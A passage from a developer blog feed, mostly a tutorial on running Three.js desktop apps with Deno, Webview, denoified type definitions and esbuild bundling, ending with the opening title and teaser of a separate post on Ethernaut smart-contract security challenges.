</code></pre>
<p>Then we just need to build a web page and import the three.js library as well as our app:</p>
<pre><code>./dist
<span class="hljs-operator">|</span>
<span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">/</span>js
    <span class="hljs-operator">|</span>
    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> three.js
<span class="hljs-operator">|</span>
<span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>index.html
<span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>app.js
</code></pre><p>The only relevant part is that inside the <code>&lt;body&gt;</code> tag of the page we need to import both <code>js/three.js</code> and <code>app.js</code>, in that order.</p>
<pre><code class="lang-html">...
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"js/three.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"app.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
...
</code></pre>
<blockquote>
<p>You may also want to add a bit of CSS to remove borders and margins...</p>
</blockquote>
<p>That three.js version is the "src" version. And I saved it locally inside <code>./dist/js</code></p>
<p>The rest of the app will go inside  <code>app.js</code>  where we can write a three.js app. Here's the cube example from the <a target="_blank" href="https://threejs.org/docs/index.html#manual/en/introduction/Creating-a-scene">Three.js website's "Creating a scene guide"</a>.</p>
<pre><code class="lang-javascript">
<span class="hljs-comment">// All the Three.js app should go here for now</span>

<span class="hljs-keyword">const</span> scene = <span class="hljs-keyword">new</span> THREE.Scene()
<span class="hljs-keyword">const</span> camera = <span class="hljs-keyword">new</span> THREE.PerspectiveCamera(<span class="hljs-number">75</span>, <span class="hljs-built_in">window</span>.innerWidth / <span class="hljs-built_in">window</span>.innerHeight, <span class="hljs-number">0.1</span>, <span class="hljs-number">1000</span>)

<span class="hljs-keyword">const</span> renderer = <span class="hljs-keyword">new</span> THREE.WebGLRenderer()

renderer.setSize(<span class="hljs-built_in">window</span>.innerWidth, <span class="hljs-built_in">window</span>.innerHeight)
<span class="hljs-built_in">document</span>.body.appendChild(renderer.domElement)

<span class="hljs-keyword">const</span> geometry = <span class="hljs-keyword">new</span> THREE.BoxGeometry(<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>)
<span class="hljs-keyword">const</span> material = <span class="hljs-keyword">new</span> THREE.MeshBasicMaterial( {<span class="hljs-attr">color</span>: <span class="hljs-number">0x00ff00</span>})
<span class="hljs-keyword">const</span> cube = <span class="hljs-keyword">new</span> THREE.Mesh(geometry, material)

scene.add(cube)

camera.position.z = <span class="hljs-number">5</span>


<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">animate</span>(<span class="hljs-params"></span>) </span>{
    requestAnimationFrame(animate);

    cube.rotation.x += <span class="hljs-number">0.01</span>
    cube.rotation.y += <span class="hljs-number">0.01</span>

    renderer.render(scene, camera)
}

animate()
</code></pre>
<p>After this, you can run the whole thing, by running the <code>./main.ts</code> at the root of the project.</p>
<pre><code>$ deno run <span class="hljs-operator">-</span>A <span class="hljs-operator">-</span><span class="hljs-operator">-</span>unstable ./main.ts
</code></pre><p>This file will always be our entry point! You should see a new window popup with your Three.js app running!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1654879230216/E9qHxEd7A.png" alt="deno-threejs-desktop.png" /></p>
<p>It works! As you can see, it's not that complicated :D</p>
<p>If you wanted to make the thing work you could stop now as we have achieved that. But I have some other things in mind. Therefore I will need to put in some more work. Read on!</p>
<hr />
<h2 id="heading-making-our-app-more-robust">Making our app more robust</h2>
<p>So it's running, that's a start! But we have two problems now</p>
<ul>
<li>We have to build the entire app in <code>./dist/app.js</code>. I didn't show this, but <code>Webview</code> has some issues with <code>import</code> statements inside HTML <code>&lt;script type="module"&gt;</code> tags. Therefore any reasonably sized app would become a nightmare to code in a single file.</li>
<li>We are not really using any desktop-specific feature. We may as well run this on a browser. We also do not have type support.</li>
</ul>
<p>So that makes for a very bad and limited developer experience. Which makes it impossible to achieve my actual goal of...</p>
<p><strong>Making a game engine!</strong></p>
<p>Yup. I'm intending to make a game engine with Deno, using WebKit with Three.js as a rendering engine.</p>
<p>Deno already has a "browser compatible" approach to its runtime, which means that most of Deno code is intended to be able to run both on "the server" or on the browser. Which is the ideal scenario for making a game engine using this approach. </p>
<p>Webview already allows us to bind callbacks into the javascript code running on the "browser". So we can use Deno as the "backend" of our game.</p>
<p>I could, for example, have Deno "server-side render" pages with scenes built from different Three.js scripts and have Webview <code>navigate()</code> to them based on an in-game event, which triggers a Deno callback.</p>
<p>I would be able to do all of that in Node, with Electron, of course. But 3D rendering is already resource-intensive as it is. So bundling Chromium (as Electron does) kinda defeats the purpose. </p>
<p><code>Webview</code> aims to be lightweight, and is intended as an "HTML5" UI abstraction layer for desktop applications. Webview is, as far as I understand, just WebKit. A full browser, or even chromium, is much more than that.</p>
<p>And finally, the last reason I have is that I want to learn. Again, sometimes "reinventing the wheel" is a great idea. If you have the time and patience!</p>
<p>So that's the justification. Let's continue our project!</p>
<h3 id="heading-bundling-threejs-inside-our-project">Bundling Three.js inside our project</h3>
<p>The first thing we need to solve is to figure out a way to be able to write Three.js apps inside Deno itself. So that we can bundle them into the <code>app.js</code> file that the HTML page expects. </p>
<p>For this, I choose to include Three.js itself in the project files. Along with its type definitions. The first step is to install it from npm!</p>
<pre><code>$ <span class="hljs-built_in">npm</span> init
...
$ <span class="hljs-built_in">npm</span> install three @types/three
</code></pre><p>Then we can create a <code>./lib</code> folder at the root of the project and move some files from <code>node_modules</code>. I took the "build" version of Three.js, as well as the Examples folder which contains a bunch of useful extra stuff, like orbitControls for the camera. As well as the type definitions for Three.js.</p>
<pre><code>./lib
<span class="hljs-operator">|</span>
<span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">/</span>three
    <span class="hljs-operator">|</span>
    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">/</span>examples
        <span class="hljs-operator">|</span>
        <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">/</span>jsm
    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">/</span>types
        <span class="hljs-operator">|</span>
        <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">/</span>examples
        <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">/</span>src
        <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>index.d.ts
    <span class="hljs-operator">|</span>
    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>three.module.js
<span class="hljs-operator">|</span>
<span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">/</span>utils
    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>denoify.ts
</code></pre><blockquote>
<p>We will see what <code>denoify.ts</code> does in a bit ;)</p>
</blockquote>
<p>Three.js itself is the  <code>three.module.js</code> file. So if you want to use Three.js with plain JavaScript, you would be done after exporting it from <code>./deps.ts</code></p>
<pre><code class="lang-typescript"><span class="hljs-comment">// deps.ts</span>

...

<span class="hljs-keyword">export</span> * <span class="hljs-keyword">as</span> THREE <span class="hljs-keyword">from</span> <span class="hljs-string">"./lib/three/three.module.js"</span>
</code></pre>
<p>You can then build a Three.js app and use <code>deno bundle</code> to bundle it into a single javascript <code>app.js</code> file inside <code>./dist</code>.  Which, if you remember, is where the HTML page that runs our app resides!</p>
<p>But I want to use TypeScript. So I will have to figure out a way to make the type definitions work on Deno, as they will not work out of the box. Let's see why, and what we can do about it.</p>
<h3 id="heading-denoifying-type-definitions">Denoifying Type definitions</h3>
<p>Deno will not work with "magic module resolution", as Node does. So all <code>import</code> and <code>export</code> statements must be well-formatted URLs or relative paths with file extensions.</p>
<p>Given that the type definitions are written with Node in mind, they will not work on Deno, if they assume magic resolution. Unfortunately, that is the case with Three.js's types.</p>
<p>In order to illustrate. Take a look at a sample of how the type definitions are formatted by default:</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// Three.d.ts - default exports</span>

<span class="hljs-comment">/**
 * SRC
 */</span>
<span class="hljs-keyword">export</span> * <span class="hljs-keyword">from</span> <span class="hljs-string">'./constants'</span>;
<span class="hljs-keyword">export</span> * <span class="hljs-keyword">from</span> <span class="hljs-string">'./Three.Legacy'</span>;
<span class="hljs-keyword">export</span> * <span class="hljs-keyword">from</span> <span class="hljs-string">'./utils'</span>;
<span class="hljs-comment">/**</span>
</code></pre>
<p>Deno will not work with this. Ideally, they should look like this:</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// Three.d.ts - denoified exports </span>

<span class="hljs-comment">/**
 * SRC
 */</span>
<span class="hljs-keyword">export</span> * <span class="hljs-keyword">from</span> <span class="hljs-string">'./constants.d.ts'</span>;
<span class="hljs-keyword">export</span> * <span class="hljs-keyword">from</span> <span class="hljs-string">'./Three.Legacy.d.ts'</span>;
<span class="hljs-keyword">export</span> * <span class="hljs-keyword">from</span> <span class="hljs-string">'./utils.d.ts'</span>;
<span class="hljs-comment">/**</span>
</code></pre>
<p>We could of course go to each file and manually fix it. But... come on... we are programmers! Let's spend an ungodly amount of time coding a solution that would save us a moderate amount of time!</p>
<p>Actually, no. I'm gonna cheat a little bit. As someone has already done this. There is an <a target="_blank" href="https://deno.land/x/threejs_4_deno@v121">old-ish package on deno.land called <code>threejs_4_deno</code></a>, which does pretty much the same as I am doing, putting Three.js into Deno. It is no longer updated though.</p>
<p>It's not the exact solution I need, but one of its scripts performs almost the same thing I need here. So I'm gonna take parts of it. With proper credit of course. The author of <code>threejs_4_deno</code> is "DefenitelyMaybe" on GitHub. Go check their stuff out!</p>
<p>The script in question will fix some issues with the original Three.js files. My adaptation is the <code>denoify.ts</code> script. The original will not do as it was made for a previous version of Three.js and I found that some things changed, so it needs a bit of work. </p>
<p>Thus, let's see what the <code>./lib/utils/denoify.ts</code> script does. Roughly, it crawls some given folders looking for files that match some regular expression <code>/\.d\.ts/g</code>. Then it looks for lines that match either <code>/import .+?;/gms</code> or <code>/export (\*|{.+}) .+?/gms</code>.  And changes them to include  <code>.d.ts</code> for the file extension. Turning them into Deno-friendly URLs.</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// denoify.ts</span>

<span class="hljs-keyword">const</span> examplesPath = <span class="hljs-string">"./lib/three/types/examples/jsm"</span>
<span class="hljs-keyword">const</span> srcPath = <span class="hljs-string">"./lib/three/types/src"</span>

<span class="hljs-comment">// Crawl folder and find files matching a RegExp. Call a function for matches.</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">loopDirAndMatch</span>(<span class="hljs-params">path:<span class="hljs-built_in">string</span>, pattern:<span class="hljs-built_in">RegExp</span>, callback:<span class="hljs-built_in">Function</span></span>) </span>{
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> dirEntry <span class="hljs-keyword">of</span> Deno.readDirSync(path)) {
        <span class="hljs-keyword">if</span> (dirEntry.isDirectory) {
            loopDirAndMatch(<span class="hljs-string">`<span class="hljs-subst">${path}</span>/<span class="hljs-subst">${dirEntry.name}</span>`</span>, pattern, callback)
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">const</span> match = dirEntry.name.match(pattern);
            <span class="hljs-keyword">if</span> (match) {
                callback(dirEntry.name, path)
            }
        }
    }
}

<span class="hljs-comment">// We just want to rewrite all urls into Deno-friendly urls!</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">updateTypeDefs</span> (<span class="hljs-params">fileName: <span class="hljs-built_in">string</span>, path: <span class="hljs-built_in">string</span></span>) </span>{
    <span class="hljs-keyword">let</span> data = Deno.readTextFileSync(<span class="hljs-string">`<span class="hljs-subst">${path}</span>/<span class="hljs-subst">${fileName}</span>`</span>)

    data = data.replaceAll(<span class="hljs-regexp">/import .+?;/gm</span>s, <span class="hljs-function">(<span class="hljs-params">m</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span>(!m.includes(<span class="hljs-string">".d.ts"</span>)) {
            m = <span class="hljs-string">`<span class="hljs-subst">${m.slice(<span class="hljs-number">0</span>, m.length - <span class="hljs-number">2</span>)}</span>.d.ts<span class="hljs-subst">${m.slice(m.length - <span class="hljs-number">2</span>)}</span>`</span>
        }
        <span class="hljs-keyword">return</span> m
    })

    data = data.replaceAll(<span class="hljs-regexp">/export (\*|{.+}) from .+?;/gm</span>s, <span class="hljs-function">(<span class="hljs-params">m</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span> (!m.includes(<span class="hljs-string">".d.ts"</span>)) {
           m = <span class="hljs-string">`<span class="hljs-subst">${m.slice(<span class="hljs-number">0</span>, m.length - <span class="hljs-number">2</span>)}</span>.d.ts<span class="hljs-subst">${m.slice(m.length - <span class="hljs-number">2</span>)}</span>`</span> 
        }
        <span class="hljs-keyword">return</span> m
    })

    <span class="hljs-comment">// Let TypeScript know there are definitions for the browser's window object, </span>
    data = data.replace(<span class="hljs-regexp">/^/</span>, <span class="hljs-string">`/// &lt;reference lib="DOM" /&gt; \n`</span>);

    <span class="hljs-comment">// Overwrite the same file! Be careful.</span>
    Deno.writeTextFileSync(<span class="hljs-string">`<span class="hljs-subst">${path}</span>/<span class="hljs-subst">${fileName}</span>`</span>, data)
}


loopDirAndMatch(examplesPath, <span class="hljs-regexp">/\.d\.ts/g</span>, updateTypeDefs);
loopDirAndMatch(srcPath, <span class="hljs-regexp">/\.d\.ts/g</span>, updateTypeDefs);
</code></pre>
<blockquote>
<p>In case you are wondering why I don't use Deno's compatibility mode. The reason is that it doesn't work with TypeScript yet. Hence this workaround :D</p>
</blockquote>
<p>Note that we are adding a TS "triple-slash" directive to tell the compiler that we want those files to be type-checked against TypeScript's dom lib. This will cause type conflicts in Deno as Deno's compiler uses <code>deno.window</code> by default, which contains <strong>some but not all</strong> of the types these files need. </p>
<p>To solve this new problem we need to override how Deno's compiler should type check our program. We can do this by using the <code>--config &lt;config file&gt;</code> flag for <code>deno run</code>. So let's create a <code>deno.json</code> config file on the root of the project with the following:</p>
<pre><code class="lang-json"><span class="hljs-comment">// ./deno.json</span>

{
    <span class="hljs-attr">"compilerOptions"</span>: {
        <span class="hljs-attr">"allowJS"</span>: <span class="hljs-literal">true</span>,
        <span class="hljs-attr">"lib"</span>: [
            <span class="hljs-string">"dom"</span>,
            <span class="hljs-string">"dom.iterable"</span>,
            <span class="hljs-string">"dom.asynciterable"</span>,
            <span class="hljs-string">"es2016"</span>,
            <span class="hljs-string">"deno.ns"</span>,
            <span class="hljs-string">"deno.unstable"</span>
        ]
    }
}
</code></pre>
<p>The only thing to mention here is that Deno would by default include <code>"deno.window"</code> on the <code>"lib"</code> array. We are just removing it. And replacing it with the DOM libs from TypeScript. We are also using <code>"deno.unstable"</code> because we are using the <code>--unstable</code> flag anyways.</p>
<p>The only change you need to take care of is to make sure you run the app like this:</p>
<pre><code>$ deno run <span class="hljs-operator">-</span>A <span class="hljs-operator">-</span><span class="hljs-operator">-</span>unstable <span class="hljs-operator">-</span><span class="hljs-operator">-</span>config ./deno.json ./main.ts
</code></pre><p>:D </p>
<blockquote>
<p>As of this writing there is still one issue remaining with this part. If you want to use the objects from Three/examples, you will have to fix the imports manually. It's not that complicated. And has lower priority because you only need to fix a couple of files you use, not the hundreds of the entire library! </p>
</blockquote>
<hr />
<p>Once the type definitions are linked with correct URLs, thus no magic module resolution is implied, we can use <a target="_blank" href="https://deno.land/manual/typescript/types#providing-types-when-importing">Deno compiler hints</a> to tell the TypeScript compiler where are our type definitions. Inside the dependency file.</p>
<pre><code class="lang-typescript">
<span class="hljs-comment">// @deno-types="./lib/three/types/index.d.ts"</span>
<span class="hljs-keyword">export</span> * <span class="hljs-keyword">as</span> THREE <span class="hljs-keyword">from</span> <span class="hljs-string">"./lib/three/three.module.js"</span>
</code></pre>
<p>A similar schema can be used to use the objects on the <code>Examples</code> folder.</p>
<h3 id="heading-writing-a-more-complex-threejs-demo-with-deno">Writing a more complex Three.js demo with Deno</h3>
<p>I also made a <code>./src</code> folder where I will write the actual Three.js app. So, If you want to use this project, all of the previous work is done for you!</p>
<p>All in all, the only thing there is to do to start working in a Three.js app is to create a <code>./src/index.ts</code> and a <code>./src/appDeps.ts</code>. </p>
<pre><code>./src
<span class="hljs-operator">|</span>
<span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>appDeps.ts
<span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>index.ts
</code></pre><p>Let's for now try to replicate a more complex example from the Three.js examples page.</p>
<p>First, we will be using some objects from Three.js's examples, so we will export them from <code>./src/appDeps.ts</code></p>
<pre><code class="lang-typescript"><span class="hljs-comment">// ./src/appDeps.ts</span>


<span class="hljs-comment">// @deno-types="./lib/three/types/index.d.ts"</span>
<span class="hljs-keyword">export</span> * <span class="hljs-keyword">as</span> THREE <span class="hljs-keyword">from</span> <span class="hljs-string">"./lib/three/three.module.js"</span>

<span class="hljs-comment">// Objects from the examples folders</span>

<span class="hljs-comment">// @deno-types="./lib/three/types/examples/jsm/controls/OrbitControls.d.ts"</span>
<span class="hljs-keyword">export</span> {OrbitControls} <span class="hljs-keyword">from</span> <span class="hljs-string">"./lib/three/examples/jsm/controls/OrbitControls.js"</span>

<span class="hljs-comment">// @deno-types="./lib/three/types/examples/jsm/loaders/GLTFLoader.d.ts"</span>
<span class="hljs-keyword">export</span> {GLTFLoader} <span class="hljs-keyword">from</span> <span class="hljs-string">"./lib/three/examples/jsm/loaders/GLTFLoader.js"</span>

<span class="hljs-comment">// @deno-types="./lib/three/types/examples/jsm/loaders/RGBELoader.d.ts"</span>
<span class="hljs-keyword">export</span> {RGBELoader} <span class="hljs-keyword">from</span> <span class="hljs-string">"./lib/three/examples/jsm/loaders/RGBELoader.js"</span>
</code></pre>
<p>As you can see, the type definitions work the same as the main three.js module.</p>
<p>Then we can build our app on <code>./src/index.ts</code>. Here I adapted the <a target="_blank" href="https://threejs.org/examples/#webgl_loader_gltf">"loader/gltf" demo from three.js examples</a></p>
<pre><code class="lang-typescript"><span class="hljs-comment">// ./src/index.ts</span>

<span class="hljs-comment">// This should be the entry point of the Three.js application</span>

<span class="hljs-keyword">import</span> { GLTFLoader, OrbitControls, RGBELoader, THREE } <span class="hljs-keyword">from</span> <span class="hljs-string">"./appDeps.ts"</span>;

<span class="hljs-keyword">const</span> scene = <span class="hljs-keyword">new</span> THREE.Scene();
<span class="hljs-keyword">const</span> camera = <span class="hljs-keyword">new</span> THREE.PerspectiveCamera(
  <span class="hljs-number">45</span>,
  <span class="hljs-built_in">window</span>.innerWidth / <span class="hljs-built_in">window</span>.innerHeight,
  <span class="hljs-number">0.25</span>,
  <span class="hljs-number">20</span>,
);
camera.position.set(<span class="hljs-number">-1.8</span>, <span class="hljs-number">0.6</span>, <span class="hljs-number">2.7</span>);

<span class="hljs-keyword">const</span> renderer = <span class="hljs-keyword">new</span> THREE.WebGL1Renderer();

renderer.setPixelRatio(<span class="hljs-built_in">window</span>.devicePixelRatio);
renderer.setSize(<span class="hljs-built_in">window</span>.innerWidth, <span class="hljs-built_in">window</span>.innerHeight);
renderer.toneMapping = THREE.ACESFilmicToneMapping;
renderer.toneMappingExposure = <span class="hljs-number">1</span>;
renderer.outputEncoding = THREE.sRGBEncoding;
<span class="hljs-built_in">document</span>.body.appendChild(renderer.domElement);

<span class="hljs-built_in">window</span>.addEventListener(<span class="hljs-string">"resize"</span>, onWindowResize);

init();

render();

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">init</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">new</span> RGBELoader()
    .setPath(<span class="hljs-string">"assets/textures/equirectangular/"</span>)
    .load(<span class="hljs-string">"royal_esplanade_1k.hdr"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">texture</span>) </span>{
      texture.mapping = THREE.EquirectangularReflectionMapping;

      scene.background = texture;
      scene.environment = texture;

      render();
    });

  <span class="hljs-keyword">const</span> loader = <span class="hljs-keyword">new</span> GLTFLoader().setPath(<span class="hljs-string">"assets/models/DamagedHelmet/glTF/"</span>)
    .load(<span class="hljs-string">"DamagedHelmet.gltf"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">gltf</span>) </span>{
      scene.add(gltf.scene);

      render();
    });

  <span class="hljs-keyword">const</span> controls = <span class="hljs-keyword">new</span> OrbitControls(camera, renderer.domElement);
  controls.addEventListener(<span class="hljs-string">"change"</span>, render);
  controls.minDistance = <span class="hljs-number">2</span>;
  controls.maxDistance = <span class="hljs-number">10</span>;
  controls.target.set(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">-0.2</span>);
  controls.update();
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">render</span>(<span class="hljs-params"></span>) </span>{
  renderer.render(scene, camera);
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onWindowResize</span>(<span class="hljs-params"></span>) </span>{
  camera.aspect = <span class="hljs-built_in">window</span>.innerWidth / <span class="hljs-built_in">window</span>.innerHeight;
  camera.updateProjectionMatrix();
  renderer.setSize(<span class="hljs-built_in">window</span>.innerWidth, <span class="hljs-built_in">window</span>.innerHeight);

  render();
}
</code></pre>
<p>Please note that this is being written and type-checked on Deno. We need to bundle it into a single <code>app.js</code> file. Which we will do next.</p>
<h3 id="heading-bundling-with-esbuild">Bundling with esbuild</h3>
<p>Deno has a built-in bundler, but it will not work for our case. As its output allows top-level await. Which currently won't work for browsers (or at least webview). </p>
<p>So I'm using <a target="_blank" href="https://esbuild.github.io/">esbuild</a>. Which is extremely fast. And works great with Deno. It even has <a target="_blank" href="https://deno.land/x/esbuild@v0.14.43">a deno-specific package</a>. Although it is made for Node.</p>
<p>I made a single<code>./build.js</code> script: </p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> * <span class="hljs-keyword">as</span> esbuild <span class="hljs-keyword">from</span> <span class="hljs-string">"https://deno.land/x/esbuild@v0.14.43/mod.js"</span>

<span class="hljs-keyword">const</span> result = <span class="hljs-keyword">await</span> esbuild.build({
        <span class="hljs-attr">entryPoints</span>: [<span class="hljs-string">"./src/index.ts"</span>],
        <span class="hljs-attr">bundle</span>: <span class="hljs-literal">true</span>,
        <span class="hljs-attr">outfile</span>: <span class="hljs-string">"./dist/app.js"</span>,
        <span class="hljs-attr">write</span>: <span class="hljs-literal">true</span>,
        <span class="hljs-attr">target</span>: [<span class="hljs-string">"safari11"</span>]
    })

<span class="hljs-built_in">console</span>.log(result)

<span class="hljs-comment">// you need to stop it explicitly on Deno.</span>
esbuild.stop()
</code></pre>
<p>So, once you write your Three.js app on <code>./src/index.ts</code>, you just run:</p>
<pre><code>$ deno run <span class="hljs-operator">-</span>A ./build.js
</code></pre><p>Which will create the bundled <code>app.js</code> on the <code>./dist</code> folder.</p>
<h3 id="heading-one-current-problem">One current problem</h3>
<p>There is still one final problem I have not quite solved. But the app can be run. It's just inconvenient for now.</p>
<p>Three.js uses the FetchAPI for loading assets. So this will not load on webview if we just include relative paths, as I did in the example. As the FetchAPI will fail for local files. (I think it is for security reasons). Even <a target="_blank" href="https://threejs.org/docs/index.html?q=local#manual/en/introduction/How-to-run-things-locally">the Three.js docs suggest running a local server to serve the assets.</a></p>
<p>The ideal solution will use the <code>webview</code> library to bind a callback into Deno. To stream the assets in string format. So they can be loaded as <code>data:...</code>. That can be made to work.</p>
<p>But it has been complicated to achieve for me right now. If you want to suggest some ideas, check <a target="_blank" href="https://github.com/JorchRL/Desktop3D-with-Deno/issues/8">issue #8 on the GitHub repo!</a></p>
<hr />
<p>So the current workaround is quite straightforward. Serve <code>index.html</code> with a local server. And then navigate the <code>webview</code> instance to localhost :D</p>
<p>Let's see how to do it.</p>
<p>I am using the live server VSCode extension to quickly spin a local server to serve <code>./dist/index.html</code>. Just make sure you move your assets to <code>./dist/assets</code>.</p>
<p>Then on <code>./main.ts</code> navigate to the localhost:</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// ./main.ts - simple workaround</span>

<span class="hljs-keyword">import</span> { dirname, join, Webview } <span class="hljs-keyword">from</span> <span class="hljs-string">"./deps.ts"</span>;

<span class="hljs-comment">// we dont need this for now</span>
<span class="hljs-comment">// const pageURL = join(dirname(import.meta.url), "/dist/index.html");</span>

<span class="hljs-keyword">const</span> webview = <span class="hljs-keyword">new</span> Webview();

<span class="hljs-comment">// just use webview as if it was a normal browser hahaha</span>
webview.navigate(<span class="hljs-string">"http://localhost:5500/dist"</span>);
webview.run();
</code></pre>
<p>Doing that, the loading of assets should work just fine!</p>
<h2 id="heading-final-result">Final result</h2>
<p>Let's see the more complex example running with our app: </p>
<p>First, serve <code>index.html</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1655053053214/tUhJ6e4hj.png" alt="ED1229AC-8A7D-48E8-B81C-601BFAF158A2.png" /></p>
<p>Then run the app:</p>
<pre><code>$ deno run <span class="hljs-operator">-</span>A <span class="hljs-operator">-</span><span class="hljs-operator">-</span>unstable <span class="hljs-operator">-</span><span class="hljs-operator">-</span>config ./deno.json ./main.ts
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1655053040975/i_Ek_EGXE.png" alt="3D17DDE3-E6D1-4C59-A849-763DD194C201.png" /></p>
<p>Here is a video of the app running:</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/89OJ-Mzm9Es">https://youtu.be/89OJ-Mzm9Es</a></div>
<h2 id="heading-further-improvements">Further improvements</h2>
<p>As I said, the current issue is having to use a local server. The ideal solution is to just run the app.</p>
<p>Another improvement is to use Deno to "server side render" HTML pages with different combinations of scripts, to build scenes. And have webview navigate to them in response to in-game events. I think this can be achieved given that webview exposes callbacks to pages.</p>
<p>Finally, you can compile a Deno app to a single executable. So it would be nice to be able to make a game and distribute it as a single file!</p>
<p>Achieving that would make for a nice foundation for a simple game engine I think :D</p>
<h2 id="heading-check-the-github-repo">Check the GitHub Repo!</h2>
<p>Here's the repo for this project on my GitHub:</p>
<p><a target="_blank" href="https://github.com/JorchRL/Desktop3D-with-Deno">Desktop3D-with-Deno</a></p>
<p>:D</p>
<h2 id="heading-epilogue">Epilogue</h2>
<p>Thanks for reaching this far! I hope it was interesting! I would appreciate it a lot if you leave some feedback!</p>
<hr />
<p>I'm currently looking for a job. If you know of someone looking for a person that can do this kind of stuff would you mind letting them know about me? </p>
<p>I don't really tag myself as a "front-end" or "full-stack" developer. As I just try to learn whatever I need to work on a project. Just like I did in this one! I spent an unhealthy amount of time reading the Deno documentation! </p>
<p>All in all, I spent around three days working on this project, researching and coding, as well as writing this post. I don't think that's a bad timeframe :D</p>
<p>I did learn a lot though. And I am starting to really like both Three.js and Deno. So maybe I could look for a job involving those technologies. </p>
<p>I already have a portfolio project ;)</p>
<hr />
<p>Next, I will keep working on my portfolio website with a shiny new project to showcase that I can be super proud of! </p>
<p>:D</p>
<p>I'm mostly active on Twitter, so maybe follow me there?</p>
<div class="hn-embed-widget" id="twitter-follow"></div>]]></content:encoded></item><item><title><![CDATA[Building skills for securing smart contracts.]]></title><description><![CDATA[Introduction
This is part 4 of my Ethernaut challenge ongoing series. But this is the first one where the challenges require more thinking than just implementing one single exploit. I think these can help you (and me) develop the necessary mental fra...]]></description><link>https://blog.jrlgs.dev/building-skills-for-securing-smart-contracts</link><guid isPermaLink="true">https://blog.jrlgs.dev/building-skills-for-securing-smart-contracts</guid><category><![CDATA[THW Web3]]></category><category><![CDATA[Blockchain]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[JavaScript]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Thu, 12 May 2022 09:24:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1652051258599/oJrSR_pjy.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
